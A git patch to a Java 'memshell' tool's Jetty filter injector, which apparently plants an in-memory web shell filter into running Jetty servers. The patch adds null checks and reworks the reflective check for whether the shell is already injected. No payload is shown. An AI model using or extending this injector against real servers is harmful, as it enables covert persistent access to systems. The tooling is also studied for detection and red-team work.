From 0e5b8efdeb0a832746915c9eb79e60c65fca56cd Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 21 Dec 2024 00:42:10 +0800 Subject: [PATCH] fix: jetty filter isInjected not work --- .../jetty/injector/JettyFilterInjector.java | 28 ++++++++++++------- 1 file changed, 18 insertions(+), 10 deletions(-) diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyFilterInjector.java index d0c9bfc3..31085bce 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/injector/JettyFilterInjector.java @@ -48,6 +48,10 @@ public class JettyFilterInjector { Class filterClass = magicFilter.getClass(); Object servletHandler = getFieldValue(context, "_servletHandler"); + if (servletHandler == null) { + return; + } + // 1. 判断是否已经注入 if (isInjected(servletHandler)) { System.out.println("filter is already injected"); @@ -197,18 +201,22 @@ public class JettyFilterInjector { } public boolean isInjected(Object servletHandler) throws Exception { - try { - Object filterMaps = getFieldValue(servletHandler, "_filterMappings"); - for (int i = 0; i < Array.getLength(filterMaps); i++) { - Object filter = Array.get(filterMaps, i); - String filterName = (String) getFieldValue(filter, "_filterName"); - if (filterName.equals(getClassName())) { - return true; - } - } - } catch (Exception e) { + Object filterMappings = getFieldValue(servletHandler, "_filterMappings"); + if (filterMappings == null) { return false; } + Object[] filterMaps = new Object[0]; + if (filterMappings instanceof List) { + filterMaps = ((List) filterMappings).toArray(); + } else if (filterMappings instanceof Object[]) { + filterMaps = (Object[]) filterMappings; + } + for (Object filterMap : filterMaps) { + Object filterName = getFieldValue(filterMap, "_filterName"); + if (filterName.equals(getClassName())) { + return true; + } + } return false; }